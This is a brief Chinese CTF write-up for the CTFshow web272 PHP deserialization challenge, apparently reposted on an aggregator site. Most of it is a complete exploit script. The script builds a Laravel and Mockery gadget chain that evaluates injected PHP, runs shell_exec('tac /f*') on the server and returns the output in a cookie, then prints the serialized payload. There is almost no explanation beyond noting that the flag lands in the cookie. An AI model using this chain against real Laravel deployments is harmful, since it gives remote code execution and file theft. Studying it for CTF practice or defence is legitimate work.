目錄

• 題解
• 總結(jié)

---

題解

之前的鏈子用不了了直接拿群里的

exp

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-05-05 22:27:03 # @Last Modified by: h1xa # @Last Modified time: 2021-05-05 22:39:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/namespace PhpParser\Node\Scalar\MagicConst{class Line {} } namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}} } namespace Mockery\Loader{class EvalLoader{} } namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}} } namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}} } namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}} } namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php setcookie('shell',shell_exec('tac /f*')); ?>");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast)); }

flag在cookie里

---

總結(jié)

…

《新程序員》：云原生和全面數(shù)字化實(shí)踐50位技術(shù)專家共同創(chuàng)作，文字、視頻、音頻交互閱讀

總結(jié)

以上是生活随笔為你收集整理的CTFshow 反序列化 web272的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。